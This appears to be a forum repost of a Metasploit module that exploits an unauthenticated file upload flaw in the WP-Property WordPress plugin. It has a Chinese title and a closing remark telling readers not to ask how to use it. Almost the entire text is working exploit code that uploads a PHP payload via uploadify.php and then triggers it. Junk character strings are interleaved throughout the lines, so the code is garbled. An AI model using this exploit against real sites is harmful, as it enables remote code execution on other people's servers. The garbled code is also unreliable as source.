WordPress WP-Property PHP 文件上传漏洞
# ~- s" K, t6 z" O% n4 K
f4 E8 g+ f+ s5 a1 i A+ t ## # This file is part of the Metasploit Framework and may be subject to4 z4 D0 p; u- g; u" Y" r2 J
$ K# N9 s% S# `; R# redistribution and commercial restrictions. Please see the Metasploit3 }/ x& I( M' X9 E' h
! X2 L! Q2 [) O6 m! E: L# Framework web site for more information on licensing and terms of use.
: A1 p# F7 R% D" o8 h) V( W6 {# u9 R
# http://metasploit.com/framework/ ##4 g- R: G1 A3 ?- ~% w n
! H- f+ | a1 E' `) @) G
* } ^9 `% L& f. }% K' l1 p
$ C- |3 v f2 N3 j8 q: J& Z; z& m % f- Z. [6 p ~3 W, V+ D+ ]- q
5 T( r# B" t; c+ _3 [6 E
require 'msf/core'- ~, H8 I( K, e5 Y6 i' [ |
require 'msf/core/exploit/php_exe'+ m4 K: Y" R, t! u9 k
* |, c7 s, c( g9 U
class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit: hpEXE def initialize(info = {}) super(update_info(info, 'Name' => 'WordPress WP-Property PHP File Upload Vulnerability',
) ]: F5 O4 N P1 [1 h( h: d: z'Description' => %q{
* U1 ?$ B3 F" j+ u. e4 OThis module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress plugin. By abusing the uploadify.php file, a malicious user can upload a file to a temp directory without authentication, which results in arbitrary code execution. }, 'Author' =>
/ a( s0 R, `: H& s) C1 T3 t- H[7 l! n. w( d9 s% W% g1 A
'Sammy FORGIT', # initial discovery
+ Z8 N" O$ W' u8 l8 |0 I'James Fitts <fitts.james[at]gmail.com>' # metasploit module
/ w) R D. ?* Q7 y+ V' r], h X1 b: D( x$ i
'License' => MSF_LICENSE,
- _8 \& {! j& x- J+ q'References' =>$ a# u+ j M" g2 }6 m
[4 N4 m' l5 z/ p$ z2 v r k* H4 H
[ 'OSVDB', '82656' ],/ }; e2 ~% k9 R- w' M( Q
[ 'BID', '53787' ],* Y: f& ?* Y- l0 Y, K+ p/ J
[ 'EDB', '18987'],( A: l* K5 f% i: R. F; H2 A) T
[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]0 U3 g' d/ R* y; l: Y0 z
],9 c. i* P# ~$ T t% M. v1 h
'Payload' =>
l/ E& J- F0 F9 ^3 O{
& F2 C& q- S$ {0 b& {'BadChars' => "\x00",
' p7 f0 u1 q+ S6 c! j5 Z" O},; Z, l8 d# w0 B: C
'Platform' => 'php',
& Z. s, } Q& i; L4 `6 |6 g w% b, y'Arch' => ARCH_PHP,
; r, ]. D+ n, b: l7 Q! z% s# K& M( `'Targets' =>
* o- C6 T, V8 L( H' L3 H! [7 `[
& y3 n, q' }5 ^[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],; E9 M4 |! ], D& H
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]; c! J. T4 t% A7 P" s1 l
],
3 E& V" n% x! V# L7 P'DefaultTarget' => 0,
, i! P* S b9 L* a) r'DisclosureDate' => 'Mar 26 2012'))
7 y5 {. d6 W& `( X( q8 q8 X
9 U7 p% Z: R. E( B2 h) Z. n8 hregister_options(
) Z& C. T( l# R6 M) m[
1 Y9 |* s; S7 j5 I) uOptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
4 S- w' n( a& Z* p5 i( F( F], self.class); W# i1 W* Y$ Y5 u* ^
end
$ \7 {: d! e' Q# y0 x3 s. Z9 Y y' y
def check3 |! v2 d5 y8 b/ n" r5 u: }5 p
uri = target_uri.path
* c* a) P$ m( R4 z& G6 turi << '/' if uri[-1,1] != '/' res = send_request_cgi({ 'method' => 'GET',
' a; \; K% ]' J5 c6 V9 \" V. ^'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"
: x& z* |0 ?' T" v4 u1 v}). a2 i4 _0 v9 P. r P
6 E7 K7 i" F2 _1 \' |if not res or res.code != 200
$ {6 j1 G. D; a( K# [9 jreturn Exploit::CheckCode::Unknown
4 r: R7 T( T9 X$ ^' B. J) _7 F' Uend$ G5 k3 T; u: w- U( i/ d9 F' g
! }, i, Q y8 }) ]return Exploit::CheckCode::Appears
E' R w9 Z% J3 J( b1 p$ q+ N2 [1 o Vend
V7 w# w D' u: e5 d3 _' T2 {# f* c4 O A8 A/ M
def exploit$ V, [ I- a3 H" q0 f6 p
uri = target_uri.path
9 g, ?, ~% h$ a# F& i3 s& X; ?. Uuri << '/' if uri[-1,1] != '/' peer = "#{rhost}:#{rport}" @payload_name = "#{rand_text_alpha(5)}.php" php_payload = get_write_exec_payload(:unlink_self=>true)) S- e% O+ V# s0 c. F
7 O% N9 M! G3 W$ E) `9 tdata = Rex::MIME::Message.new
. l9 g: d9 ]" d4 Odata.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")2 J; X. i. D# T& F3 n6 q
data.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")! q7 E' ?8 c* m( o9 |% Z, i
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_'). M+ x6 l. {% j# Q2 {. K9 s/ e
- g! z( r) A: C2 yprint_status("#{peer} - Uploading payload #{@payload_name}")% Y8 ~& Q/ ?$ k7 l2 G! k
res = send_request_cgi({# Q6 R' R! ?' o. k
'method' => 'POST',, l8 F: l" [" C! k8 |7 v9 v2 t
'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",
6 M* o+ y& F9 Y: K'ctype' => "multipart/form-data; boundary=#{data.bound}",
4 Z8 ~; @# W& Q& g. P'data' => post_data8 x$ s) ~- I* i1 A
})% j, ` P5 g$ |
1 n" h- C/ H4 B; \; ], mif not res or res.code != 200 or res.body !~ /#{@payload_name}/+ I. C) q7 F% p& v
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
% i3 W% @. I9 W% v: e W& }+ f' S2 gend& I( `$ D% T& J) |6 P! |
0 K2 [8 @/ \9 G/ A: u/ T* Kupload_uri = res.body1 E, t, t" l$ f- g5 o
4 S( {) P) u5 z& {) ~print_status("#{peer} - Executing payload #{@payload_name}")) k, S: m! V; J; L b2 g# O& k
res = send_request_raw({4 f0 }4 Z: H0 D$ ]7 C
'uri' => upload_uri,
/ X( T5 [. n) C5 B'method' => 'GET'! R0 \: N- P0 h3 \
})
: N# a2 X/ x) N/ }end
; u, d1 l; B" D3 a# z3 h* hend
+ m; {: v+ p6 C4 E! u
9 C' Q, B+ z" T/ [6 I不要问我这写的是什么 怎么利用 我是说msf.5 u( W* f) t' n% ~4 N
3 i+ a, [. U, d! O1 {$ [2 } |